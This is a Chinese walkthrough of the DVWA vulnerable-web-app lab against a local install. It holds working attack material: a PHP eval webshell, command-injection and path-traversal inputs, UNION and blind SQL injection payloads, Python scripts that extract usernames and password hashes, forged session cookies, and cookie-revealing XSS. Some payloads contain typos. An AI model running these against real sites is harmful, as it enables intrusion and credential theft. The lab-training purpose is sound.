1.Brute Force(暴力破解)
在view source 中可以看到服务器只是验证了参数Login,没有防爆破的机制
|
直接随意输入,在burp中抓包,右键send to intruder。
在intruder的positions选择中,先点击clear$清除所有的变量。然后分别给username和password这两个字段后面的内容添加add$,添加变量并将attack type的值设置为cluster bomb。
在payloads中分别给payload 1和payload 2设置字典路径。
点击右上方start attack开始爆破。
根据length长度判断,用户名admin、Admin 密码 password
2.Command Injection(命令执行)
代码审计,在view source中发现,该对话框功能是可以发现直接针对操作系统类型进行ping,没有对输入的数据作出任何过滤,非常危险。
|
备注:乱码解决方法。在DVWA-master\dvwa\includes目录下找到dvwaPage.inc.php文件中所有的”charset=utf-8”,修改为”charset=gb2312”,即可。
使用&&拼接命令,实现命令执行。类似如:
192.168.1.1 &&ipconfig 查看目标主机IP地址。
3.CSRF(跨站请求)
CSRF,全称Cross-site request forgery,跨站请求伪造,是指利用受害者尚未失效的身份认证信息(cookie、会话等),诱骗其点击恶意链接或者访问包含攻击代码的页面,在受害人不知情的情况下以受害者的身份向(身份认证信息所对应的)服务器发送请求,从而完成非法操作(如转账、改密等)。
在view source中发现,首先获取输入的两个密码然后判断两个值是否相等,如果相等则对$pass_new变量进行调用mysql_real_escape_string函数来进行字符串的过滤(防御SQL注入),再调用md5()函数对输入的密码进行MD5加密,最后再将新密码更新到数据库中。分析源码可以看到只对SQL注入进行了过滤,没有防御CSRF
备注:mysqli_real_escape_string()函数去转义一些字符
|
漏洞利用:
输入两次不一样的密码后,可以从url中看到密码修改的过程。其中password_new和password_conf的值需相等即可成功修改密码。
可以构造修改密码链接,诱导用户点击,如果用户的cookie还未失效,用户自己修改了自己的密码。
http://127.0.0.1/DVWA-master/vulnerabilities/csrf/?password_new=123&password_conf=123&Change=Change#
可以看到在新的标签页下,用户密码被成功修改为123
4.File Inclusion(文件包含漏洞)
什么是文件包含:
开发人员将相同的函数写入单独的文件中,需要使用某个函数时直接调用此文件,无需再次编写,这种文件调用的过程称文件包含。
什么是文件包含漏洞:
开发人员为了使代码更灵活,会将被包含的文件设置为变量,用来进行动态调用,从而导致客户端可以恶意调用一个恶意文件,造成文件包含漏洞。
文件包含漏洞用到的函数
require:找不到被包含的文件,报错,并且停止运行脚本。
include:找不到被包含的文件,只会报错,但会继续运行脚本。
require_once:与require类似,区别在于当重复调用同一文件时,程序只调用一次。
include_once:与include类似,区别在于当重复调用同一文件时,程序只调用一次。
目录遍历与文件包含的区别
目录遍历是可以读取web目录以外的其他目录,根源在于对路径访问权限设置不严格。
文件包含是利用函数来包含web目录以外的文件,分为本地包含和远程包含。
远程文件包含:开启条件,在php.ini配置文件中开启allow_url_fopen和allow_url_include,包含文件是第三方文件
本地文件包含:就是本地服务器上的文件
一旦远程包含可以开启,那么远程包含的漏洞比本地包含的漏洞更加的直接,危害也更加的大,可以随意的包含任意主机的任意文件。
文件包含特征
?page=a.php
?home=b.html
?file=content检测方法
?file=../../../../etc/passwd
?page=file:///etc/passwd
?home=main.cgi
?page=http://www.a.com/1.php
http://1.1.1.1/../../../../dir/file.txt
在view source中发现,low级别的代码对包含的文件没有进行任何的过滤!这导致我们可以进行包含任意的文件。
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
?>
通过观察url,先构造包含一个不存在的文件 kaihuang.php ,看看什么情况
有两行报错
Warning: include(kaihuang.php): failed to open stream: No such file or directory in D:\phpstudy_pro\WWW\DVWA-master\vulnerabilities\fi\index.php on line 36
Warning: include(): Failed opening 'kaihuang.php' for inclusion (include_path='.;C:\php\pear;../../external/phpids/0.6/lib/') in D:\phpstudy_pro\WWW\DVWA-master\vulnerabilities\fi\index.php on line 36
报错中使用include()包含,找不到被包含的文件,只会报错,但会继续运行脚本。爆出了网站路径。
在 D:\phpstudy_pro\WWW\DVWA-master\vulnerabilities\fi\ 中存放可以被包含执行的文件,file1.php ,file2.php等都可以被成功执行。在该路径下我们自己写入文件试试看。
test1.txt,文件内容是“<?php system('ipconfig');?>”
test2.txt,文件内容“<?php system('arp -a');?>”
尝试包含执行http://127.0.0.1/DVWA-master/vulnerabilities/fi/?page=test1.txt
尝试包含执行http://127.0.0.1/DVWA-master/vulnerabilities/fi/?page=test2.txt
文件中的系统命令均被成功执行。
5.File Upload(文件上传)
文件上传漏洞,通常是由于对上传文件的类型、内容没有进行严格的过滤、检查,使得攻击者可以通过上传木马获取服务器的webshell权限,因此文件上传漏洞带来的危害常常是毁灭性的。
view source 可以看到,服务器对上传文件的类型、内容没有做任何的检查、过滤,存在明显的文件上传漏洞,生成上传路径后,服务器会检查是否上传成功并返回相应提示信息。
文件上传漏洞的利用是有限制条件的,首先当然是要能够成功上传木马文件,其次上传文件必须能够被执行,最后就是上传文件的路径必须可知。这里三个条件全都满足。
|
用记事本制作php一句话木马,文件格式最后改为php
<?php
@eval($_POST['123']);
?>
上传文件1.php
使用蚁剑连接一句话木马,密码123,编码设置GB2312,连接类型php
成功连接进入网站目录
6.Insecure CAPTCHA(不安全验证)
view source 查看:
<?php
//第一阶段,验证身份,验证阶段为step
if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '1' ) ) {
// Hide the CAPTCHA form
//隐藏验证码表单
$hide_form = true;
// Get input
//得到用户的新密码及确认新密码
$pass_new = $_POST[ 'password_new' ];
$pass_conf = $_POST[ 'password_conf' ];
// Check CAPTCHA from 3rd party
//使用第三方进行身份验证
//recaptcha_check_answer($privkey,$remoteip, $challenge,$response)
参数$privkey是服务器申请的private key,$remoteip是用户的ip,$challenge是recaptcha_challenge_field字段的值,来自前端页面 ,$response是recaptcha_response_field字段的值。函数返回ReCaptchaResponse class的实例,ReCaptchaResponse类有2个属性 :
$is_valid是布尔型的,表示校验是否有效,
$error是返回的错误代码。
$resp = recaptcha_check_answer(
$_DVWA[ 'recaptcha_private_key'],
$_POST['g-recaptcha-response']
);
// Did the CAPTCHA fail?
if( !$resp ) {
// What happens when the CAPTCHA was entered incorrectly
//验证失败时
$html .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>";
$hide_form = false;
return;
}
else {
// CAPTCHA was correct. Do both new passwords match?
//验证通过时,匹配两次密码是否一致
if( $pass_new == $pass_conf ) {
// Show next stage for the user
echo "
<pre><br />You passed the CAPTCHA! Click the button to confirm your changes.<br /></pre>
<form action=\"#\" method=\"POST\">
<input type=\"hidden\" name=\"step\" value=\"2\" />
<input type=\"hidden\" name=\"password_new\" value=\"{$pass_new}\" />
<input type=\"hidden\" name=\"password_conf\" value=\"{$pass_conf}\" />
<input type=\"submit\" name=\"Change\" value=\"Change\" />
</form>";
}
else {
// Both new passwords do not match.
$html .= "<pre>Both passwords must match.</pre>";
$hide_form = false;
}
}
}
//第二阶段,检查两次密码是否一致,并更新密码
if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '2' ) ) {
// Hide the CAPTCHA form
$hide_form = true;
// Get input
$pass_new = $_POST[ 'password_new' ];
$pass_conf = $_POST[ 'password_conf' ];
// Check to see if both password match
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Feedback for the end user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with the passwords matching
echo "<pre>Passwords did not match.</pre>";
$hide_form = false;
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
按照源码分析,总共分为两个阶段:
第一阶段:对用户的身份进行验证,step为1,验证成功后才能进行密码修改
第二阶段:step为2,两次输入的密码一致,可以进行修改
考虑:直接跳过第一阶段,两次输入的密码一致,启动bp抓包,change
将step=1改为step=2,尝试跳过第一阶段验证
forward放行,发现密码被成功修改,即成功绕过验证。
7.SQL Injection (sql注入)
SQL注入是指攻击者通过注入恶意的SQL命令,破坏SQL查询语句的结构,从而达到执行恶意SQL语句的目的。
sql注入的分类:(1)数字型 (2)字符型 (3)报错注入 (4)Boollean注入 (5)时间注入
手工注入的思路:
1.判断是否存在注入,注入类型是字符型还是数字型?
2.猜解SQL查询语句中的字段数
3.确定回显位置
4.获取当前数据库
5.获取数据库中的表
6.获取表中的字段名
7.得到数据
sql注入的绕过方法:
(1)注释符号绕过 (2)大小写绕过 (3)内联注释绕过
(4)特殊编码绕过 (5)空格过滤绕过 (6)过滤or and xor not 绕过
view source 查看,分析可以看到没有对参数做任何的过滤
<?php
if( isset( $_REQUEST[ 'Submit' ] ) ) {
// Get input
$id = $_REQUEST[ 'id' ];
switch ($_DVWA['SQLI_DB']) {
case MYSQL:
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
mysqli_close($GLOBALS["___mysqli_ston"]);
break;
case SQLITE:
global $sqlite_db_connection;
#$sqlite_db_connection = new SQLite3($_DVWA['SQLITE_DB']);
#$sqlite_db_connection->enableExceptions(true);
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
#print $query;
try {
$results = $sqlite_db_connection->query($query);
} catch (Exception $e) {
echo 'Caught exception: ' . $e->getMessage();
exit();
}
if ($results) {
while ($row = $results->fetchArray()) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
} else {
echo "Error in fetch ".$sqlite_db->lastErrorMsg();
}
break;
}
}
?>
①判读是否存在注入
输入ID 1 可以看到正确的返回值
输入1‘发现报错了
注:’1‘’
继续输入继续输入1' and '1' ='1和1' and '1'='2。
注:源码中SELECT first_name, last_name FROM users WHERE user_id = '$id';"
进入语句后其实变为 ‘1’ and'1' ='1' '1' and '1'='2' 单引号闭合。
1' and'1'='1 正确回返查询到的ID值
1’ and '1'='2 因条件为F,未返回值且未报错。
根据id=1’报错和id=1’ and ‘1’=’1正确,判断该处存在字符型注入,通过单引号闭合规则来绕过。
②判断字段数 order by
我们使用order by 进行判断字段数, 至到order by 进行报错时候,可以判断列字段数
1' order by 1#没有报错
1' order by 2#没有报错
1' order by 3#报错
说明字段只有两列
③判断回显位置 union select 1,2#
输入1' union select 1,2# 判断有两处回显
④判断数据库 union select 1,database()#
输入1' union select 1,database()# 得到当前数据库名 dvwa
⑤获取数据库中的表
1' union select 1,group_concat(table_name) from information_schema.tables where tables_schema=database()#
这里碰到一个问题Illegal mix of collations for operation ‘UNION‘
查了一下是因为编码的问题,可以通过phpmyadmin来解决编码问题,解决方法参考:
如何解决DVWA靶场中返回的报错信息 “Illegal mix of collations for operation ‘UNION‘ ”_江户川同学的博客-CSDN博客
修改编码后要勾选更改所有表排序和更改所有表列排序的规则
输入1' union select 1, group_concat(table_name) from information_schema.tables where table_schema=database()#
爆出数据库中的表名
⑥获取表中的字段名
输入 1' union select 1, group_concat(column_name) from information_schema.columns where table_name='users'#
爆出users表中的字段
⑦获取字段中的数据
输入 1' union select user, password from users#
爆出users表中user和password字段中的内容。
这里密码使用了MD5加密,可在https://www.cmd5.com/进行解密。
8.SQL Injection (Blind) sql盲注
sql盲注:SQL盲注与一般注入的区别在于一般的注入。盲注时攻击者无法直接从页面上看到注入语句的执行结果,甚至有时连注入语句是否执行都无法得知。盲注的话,就像跟一个机器人聊天,但是这个机器人只会回答“是”与“不是”,因此,得从一个大的范围去问是与不是,然后慢慢的缩小范围,最后就是类似于问“数据库名字的第一个字是不是a啊”这样的问题,通过这种机械的询问,最终得到我们想要的数据。
盲注分为:基于布尔的盲注、基于时间的盲注、基于报错的盲注
盲注的步骤一般分为:
判断是否存在注入、注入是字符型还是数字型
猜解当前数据库名
猜解数据库中的表名
猜解表中的字段名
猜解数据
在了解盲注的sql规则后,可以通过编写循环语句的脚本,实现数据库的爆破。
布尔型盲注:
1.布尔盲注利用前提
页面没有显示位,没有输出SQL语句执行错误信息,只能通过页面返回正常不正常来判断是否存在注入。
2.布尔盲注利用
该语句判断数据库个数,当数据库个数大于n页面显示正常
(select count(schema_name) from information_schema.schemata)> n
该语句判断数据库内第一个数据库名有多少字符,字符个数大于n页面显示正常
(select length(schema_name) from information_schema.schemata limit 0,1)> n
该语句判断第一个库第一个字符是什么,ascii值大于n页面显示正常
(select ascii(substr((select schema_name from information_schema.schemata limit 0,1),1,1)))>n
相关函数学习
Length() 返回字符串的长度
substr() 截取字符串,偏移是从1开始,而不是0开始
ascii() 返回字符的ascii码
count(column_name) 返回指定列的值的数目(NULL 不计入)
基于时间的盲注:
1.时间盲注利用前提
页面上没有显示位,也没有输出SQL语句执行错误信息。 正确的SQL语句和错误的SQL语句返回页面都一样,但是加入sleep(5)条件之后,页面的返回速度明显慢了5秒。
2.时间盲注利用
该语句判断数据库个数,当数据库个数等于n页面返回延迟5秒
if((select count(schema_name) from information_schema.schemata)=n,sleep(5),1)
该语句判断数据库内第一个数据库名有多少字符,字符个数等于n页面返回延迟5秒
if((select length(schema_name) from information_schema.schemata limit 0,1)=n,sleep(5),1)
该语句判断第一个库第一个字符是什么,ascii值等于n页面返回延迟5秒
if((select ascii(substr((select schema_name from information_schema.schemata limit 0,1),1,1)))=n,sleep(5),1)
相关函数学习
Length()函数 返回字符串的长度
substr()截取字符串
ascii()返回字符的ascii码
sleep(n):将程序挂起一段时间 n为n秒
if(expr1,expr2,expr3):判断语句 如果第一个语句正确就执行第二个语句如果错误执行第三个语句
count(column_name)函数返回指定列的值的数目(NULL 不计入)
代码审计:
<?php
if( isset( $_GET[ 'Submit' ] ) ) {
// Get input
$id = $_GET[ 'id' ];
$exists = false;
switch ($_DVWA['SQLI_DB']) {
case MYSQL:
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ); // Removed 'or die' to suppress mysql errors
$exists = false;
if ($result !== false) {
try {
$exists = (mysqli_num_rows( $result ) > 0);
} catch(Exception $e) {
$exists = false;
}
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
break;
case SQLITE:
global $sqlite_db_connection;
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
try {
$results = $sqlite_db_connection->query($query);
$row = $results->fetchArray();
$exists = $row !== false;
} catch(Exception $e) {
$exists = false;
}
break;
}
if ($exists) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
} else {
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}
}
?>
可以看到low级别的代码对参数id没有做检查和过滤,存在sql注入。同时sql语句查询返回的结果有两种:
User ID exists in the database 和 User ID is MISSING from the database
因此这里属于sql盲注漏洞。
输入1,输入1 and 1=1或1 and 1=2,输入1' and 1=1#,均显示存在。
输入1' and 1=2# 不存在
证明存在字符型的sql盲注。
布尔盲注:
①查询数据库先判断数据库长度
依次输入1' and length(database())=x# (x为大于1的整数)
当显示存在时,即爆出数据库长度。
当x=4时,显示存在,故数据库长度为4
②二分法找数据库名称
依次:
输入1’ and ascii(substr(databse(),1,1))>97 #,显示存在,说明数据库名的第一个字符的ascii值大于97(小写字母a的ascii值);
输入1’ and ascii(substr(databse(),1,1))<122 #,显示存在,说明数据库名的第一个字符的ascii值小于122(小写字母z的ascii值);
输入1’ and ascii(substr(databse(),1,1))<109 #,显示存在,说明数据库名的第一个字符的ascii值小于109(小写字母m的ascii值);
通过上述步骤依次判断,得出完整数据库名
由于采用手工方式很浪费时间,可以使用python脚本帮助爆破。
脚本一:爆出数据库长度、数据库名、表个数,表长度,表名
#!/usr/bin/env python3
# -*- coding: UTF-8 -*-
import requests
# 脚本里用到的参数
# databaseLen 库名长度
# databse_name 库名
# tableNum 表的数量
# tableLen 表名长度
# table_name 表名
s = requests.Session()
url = 'http://127.0.0.1/DVWA-master/vulnerabilities/sqli_blind/'
payloads = 'abcdefghijklmnopqrstuvwxyz1234567890'
# 这里为节约时间只包含小写字母与数字,实际可能还有大写字母与符号
headers = {'Cookie': 'security=low; PHPSESSID=h3coopf9igbbe7ua1j23qkk854'}
# 因为dvwa需要登陆,所以要在头部里加入cookie
# 1.先爆破库名的长度,以提高后续循环的效率,也可以不爆破长度,直接爆破名称(只要循环数大于长度)
for j in range(1,50):
databaseLen_payload = '?id=1\' and length(database())='+str(j)+' %23&Submit=Submit#'
# 所有payload里的注释#要用url编码表示,因为这是直接添加在url里的
if 'User ID exists in the database.' in s.get(url+databaseLen_payload, headers=headers).text:
databaseLen = j
break
print('database_lenth: '+str(databaseLen))
# 2.爆库名
databse_name = ''
for j in range(1,databaseLen+1):
for i in payloads:
databse_payload = '?id=1\' and substr(database(),'+str(j)+',1)=\''+str(i)+'\' %23&Submit=Submit#'
if 'User ID exists in the database.' in s.get(url+databse_payload, headers=headers).text:
databse_name += i
print('database_name: '+databse_name)
# 3.爆破表的个数
for j in range(1,50):
tableNum_payload = '?id=1\' and (select count(table_name) from information_schema.tables where table_schema=database())='+str(j)+' %23&Submit=Submit#'
if 'User ID exists in the database.' in s.get(url+tableNum_payload, headers=headers).text:
tableNum = j
break
print('tableNum: '+str(tableNum))
# 4.爆出所有的表名
# (1)爆出各个表名的长度
for j in range(0,tableNum):
table_name = ''
for i in range(1,50):
tableLen_payload = '?id=1\' and length(substr((select table_name from information_schema.tables where table_schema=database() limit '+str(j)+',1),1))='+str(i)+' %23&Submit=Submit#'
# 用法substr('This is a test', 6) 返回'is a test'
if 'User ID exists in the database.' in s.get(url+tableLen_payload, headers=headers).text:
tableLen = i
print('table'+str(j+1)+'_length: '+str(tableLen))
# (2)内部循环爆破每个表的表名
for m in range(1,tableLen+1):
for n in payloads: # i在上个循环用过了
table_payload = '?id=1\' and substr((select table_name from information_schema.tables where table_schema=database() limit '+str(j)+',1),'+str(m)+',1)=\''+str(n)+'\' %23&Submit=Submit#'
if 'User ID exists in the database.' in s.get(url+table_payload, headers=headers).text:
table_name += n
print('table'+str(j+1)+'_name: '+table_name)
使用脚本爆破,效果如下:
脚本二:由脚本一得到的结果,我们需要知道user表中的信息,因此脚本二只是针对此表来跑出其中列数量、列长度、列名。
#!/usr/bin/env python3
# -*- coding: UTF-8 -*-
# 根据上个脚本得到的结果,此脚本用来跑出'users'表中的字段
import requests
s = requests.Session() # 保持回话
url = 'http://127.0.0.1/DVWA-master/vulnerabilities/sqli_blind/'
payloads = 'abcdefghijklmnopqrstuvwxyz1234567890_'
headers = {'Cookie': 'security=low; PHPSESSID=h3coopf9igbbe7ua1j23qkk854'}
# 因为dvwa需要登陆,所以要在头部里加入cookie
# 1.判断users表中字段数目
columnNum = 0
for j in range(50):
columnNum_payload = '?id=1\' and (select count(column_name) from information_schema.columns where table_name=\'users\')='+str(j)+' %23&Submit=Submit#'
if 'User ID exists in the database.' in s.get(url+columnNum_payload, headers=headers).text:
columnNum = j
break
print('columnNum: '+str(columnNum))
# 2.爆出每个字段名的长度
for j in range(0,columnNum):
column_name = ''
for i in range(1,50):
columnLen_payload = '?id=1\' and length(substr((select column_name from information_schema.columns where table_name=\'user\' limit '+str(j)+',1),1))='+str(i)+' %23&Submit=Submit#'
if 'User ID exists in the database.' in s.get(url+columnLen_payload, headers=headers).text:
columnLen = i
print('column'+str(j+1)+'_length: '+str(columnLen))
# (2)内部循环爆破每个表的表名
for m in range(1,columnLen+1):
for n in payloads: # i在上个循环用过了
column_payload = '?id=1\' and substr((select column_name from information_schema.columns where table_name=\'users\' limit '+str(j)+',1),'+str(m)+',1)=\''+str(n)+'\' %23&Submit=Submit#'
if 'User ID exists in the database.' in s.get(url+column_payload, headers=headers).text:
column_name += n
print('column'+str(j+1)+'_name: '+column_name)
爆出11列内容,其中表中包括user和password两个列名
脚本三:由脚本二的结果得知,需要得到users表中user和password的内容,’脚本三就跑出指定列下每条记录的值,也就是最终的要爆出的信息
#!/usr/bin/env python3
# -*- coding: UTF-8 -*-
# 根据上个脚本得到的结果,此脚本用来跑出'users'表中的字段名为'user','password'
# 所以此脚本用来爆破flag字段中的内容
import requests
s = requests.Session() # 保持回话
url = 'http://127.0.0.1/DVWA-master/vulnerabilities/sqli_blind/'
payloads = 'abcdefghijklmnopqrstuvwxyz1234567890_'
headers = {'Cookie': 'security=low; PHPSESSID=h3coopf9igbbe7ua1j23qkk854'}
# 因为dvwa需要登陆,所以要在头部里加入cookie
# 判断user字段中记录(行)数量
rowNum = 0
for j in range(50):
rowNum_payload = '?id=1\' and (select count(*) from users)='+str(j)+' %23&Submit=Submit#'
if 'User ID exists in the database.' in s.get(url+rowNum_payload, headers=headers).text:
rowNum = j
print("row_number: "+str(rowNum))
# 先爆每个字段值长度,以便控制循环,提高效率,也可省略此步骤,但要保证循环大于字段长度
for j in range(0,rowNum+1):
rowContent = ''
for i in range(50):
#rowLen_payload = '?id=1\' and length(substr(select user from users limit '+str(j)+',1),1)='+str(i)+' %23&Submit=Submit#'
rowLen_payload = '?id=1\' and length(substr((select user from users limit '+str(j)+',1),1))='+str(i)+' %23&Submit=Submit#'
if 'User ID exists in the database.' in s.get(url+rowLen_payload, headers=headers).text:
rowLen = i
print('row'+str(j+1)+'_length: '+str(rowLen))
#爆出个字段内容
for m in range(1,rowLen+1):
for n in payloads:
rowContent_payload = '?id=1\' and substr((select user from users limit '+str(j)+',1),'+str(m)+',1)=\''+str(n)+'\' %23&Submit=Submit#'
if 'User ID exists in the database.' in s.get(url+rowContent_payload, headers=headers).text:
rowContent += n
print('row'+str(j+1)+'_content: '+rowContent)
# 判断password字段中记录(行)数量
rowNum = 0
for j in range(50):
rowNum_payload = '?id=1\' and (select count(*) from users)='+str(j)+' %23&Submit=Submit#'
if 'User ID exists in the database.' in s.get(url+rowNum_payload, headers=headers).text:
rowNum = j
print("row_number: "+str(rowNum))
# 先爆每个字段值长度,以便控制循环,提高效率,也可省略此步骤,但要保证循环大于字段长度
for j in range(0,rowNum+1):
rowContent = ''
for i in range(50):
#rowLen_payload = '?id=1\' and length(substr(select password from users limit '+str(j)+',1),1)='+str(i)+' %23&Submit=Submit#'
rowLen_payload = '?id=1\' and length(substr((select password from users limit '+str(j)+',1),1))='+str(i)+' %23&Submit=Submit#'
if 'User ID exists in the database.' in s.get(url+rowLen_payload, headers=headers).text:
rowLen = i
print('row'+str(j+1)+'_length: '+str(rowLen))
#爆出个字段内容
for m in range(1,rowLen+1):
for n in payloads:
rowContent_payload = '?id=1\' and substr((select password from users limit '+str(j)+',1),'+str(m)+',1)=\''+str(n)+'\' %23&Submit=Submit#'
if 'User ID exists in the database.' in s.get(url+rowContent_payload, headers=headers).text:
rowContent += n
print('row'+str(j+1)+'_content: '+rowContent)
爆出users表中user和password中的内容,这里密码使用了MD5加密,可在https://www.cmd5.com/进行解密。
时间盲注:
1.判断是否存在注入
输入1’ and sleep(6) #,有明显延迟;
输入1 and sleep(6) #,没有延迟;
2.确定库名长度
1' and if(length(database())=3,sleep(5),1) #
1' and if(length(database())=4,sleep(5),1) #
当length(database())=4时,页面有明显延迟,爆出库名长度=4
3.通过二分法找库名
1’ and if(ascii(substr(database(),1,1))>97,sleep(5),1)# 明显延迟
1’ and if(ascii(substr(database(),1,1))>98,sleep(5),1)# 明显延迟
1’ and if(ascii(substr(database(),1,1))>99,sleep(5),1)# 明显延迟
1’ and if(ascii(substr(database(),1,1))<100,sleep(5),1)# 没有延迟
1’ and if(ascii(substr(database(),1,1))>100,sleep(5),1)# 没有延迟
1' and if(ascii(substr(database(),1,1))=100,sleep(5),1)#明显延迟
爆出数据库名第一个字母是d,依次方法可以依次找到库名。
4.找库中表名
先确定表的数量
1’ and if((select count(table_name) from information_schema.tables where table_schema=database() )=1,sleep(5),1)# 没有延迟
1’ and if((select count(table_name) from information_schema.tables where table_schema=database() )=2,sleep(5),1)# 明显延迟
可以确定表的数量为2
然后确定表的长度
1’ and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1,sleep(5),1) # 没有延迟
1’ and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9,sleep(5),1) # 明显延迟
可以确定第一个表的长度为9
最后二分法找到表名
5.找表中字段
先确定字段的数量
1’ and if((select count(column_name) from information_schema.columns where table_name= ’users’)=1,sleep(5),1)# 没有延迟
...
1’ and if((select count(column_name) from information_schema.columns where table_name= ’users’)=8,sleep(5),1)# 明显延迟
可以确定users字段的数量为8
然后依次确定字段名
1’ and if(length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=1,sleep(5),1) # 没有延迟
...
1’ and if(length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=7,sleep(5),1) # 明显延迟
说明users表的第一个字段长度为7
最后再用二分法确定字段名
9.弱会话IDs(Weak Session IDs)
简介:
用户登录后,在服务器就会创建一个会话(session),叫做会话控制,接着访问页面的时候就不用登录,只需要携带Sesion去访问。
sessionID作为特定用户访问站点所需要的唯一内容。如果能够计算或轻易猜到该sessionID,则攻击者将可以轻易获取访问权限,无需录直接进入特定用户界面,进而进行其他操作。
用户访问服务器的时候,在服务器端会创建一个新的会话(Session),会话中会保存用户的状态和相关信息,用于标识用户。
服务器端维护所有在线用户的Session,此时的认证,只需要知道是哪个用户在浏览当前的页面即可。为了告诉服务器应该使用哪一个Session,浏览器需要把当前用户持有的SessionID告知服务器。用户拿到session id就会加密后保存到 cookies 上,
之后只要cookies随着http请求发送服务器,服务器就知道你是谁了。SessionID一旦在生命周期内被窃取,就等同于账户失窃。
Session利用的实质 :
由于SessionID是用户登录之后才持有的唯一认证凭证,因此黑客不需要再攻击登陆过程(比如密码),就可以轻易获取访问权限,无需登录密码直接进入特定用户界面, 进而查找其他漏洞如XSS、文件上传等等。
Session劫持 :
就是一种通过窃取用户SessionID,使用该SessionID登录进目标账户的攻击方法,此时攻击者实际上是使用了目标账户的有效Session。如果SessionID是保存在Cookie中的,则这种攻击可以称为Cookie劫持。SessionID还可以保存在URL中,作为一个请求的一个参数,但是这种方式的安全性难以经受考验。
代码审计:
<?php
$html = "";
if ($_SERVER['REQUEST_METHOD'] == "POST") {
if (!isset ($_SESSION['last_session_id'])) {
$_SESSION['last_session_id'] = 0;
}
$_SESSION['last_session_id']++;
$cookie_value = $_SESSION['last_session_id'];
setcookie("dvwaSession", $cookie_value);
}
?>
可以看到,用户访问服务器的时候,一般服务器都会分配一个身份证 session id 给用户,用于标识。用户拿到 session id 后就会保存到 cookies 上,之后只要拿着 cookies 再访问服务器,服务器就知道你是谁了。但是 session id 过于简单就会容易被人伪造。根本都不需要知道用户的密码就能访问用户服务器的内容了。
通过bp抓包可以看到
Cookie: dvwaSession=2; PHPSESSID=ja5hd5tjlk20mu5ss2lir155tr; security=low
其中dvwaSesion的值每重放一次,就会加1,重放到4.
构造payload:dvwaSession=4; PHPSESSID=ja5hd5tjlk20mu5ss2lir155tr
通过火狐浏览器的hackbar,提交,选择cookie提交方式,为验证有效性,清除一下浏览器的cookie值,提交后发现直接登录
10.XSS(Dom)
XSS(DOM)是一种基于DOM树的一种代码注入攻击方式,可以是反射型的,也可以是存储型的,所以它一直被划分第三种XSS与存储型和反射型XSS相比,它最大的特点就是不与后台服务器交互,只是通过浏览器的DOM树解析产生。除了js,flash等脚本语言也有可能存在XSS漏洞。
代码审计:
<?php
# No protections, anything goes
?>
没有做任何过滤,我们可以构造xss访问尝试
http://127.0.0.1/DVWA-master/vulnerabilities/xss_d/?default=<script>alert('xss')</script>
也可以使用<script>alert(document.cookie)</script>弹出cookie信息
查看网页源代码,可以看到<script>alert(document.cookie)</script>作为value值被执行了。
11.XSS(Reflected)
反射型XSS是非持久性、参数型的跨站脚本。
反射型XSS的代码在Web应用参数中,例如搜索框的反射型XSS。
注意,反射型XSS代码出现在keyword参数中。
但是容易被发现,导致很多漏洞提交平台不接收反射型XSS漏洞。
代码审计:
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Feedback for end user
echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}
?>
通过$_GET方式获取name的值,之后未进行任何编码和过滤,导致如果用户输入一段js脚本会被直接执行。
<script>alert(666)</script>
12.XSS(Stored)
存储型XSS,持久化,代码是存储在服务器中的,如在个人信息或发表文章等地方,加入代码,如果没有过滤或过滤不严,那么这些代码将储存到服务器中,用户访问该页面的时候触发代码执行。这种XSS比较危险,容易造成蠕虫,盗窃cookie等。
代码审计:
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = stripslashes( $message );
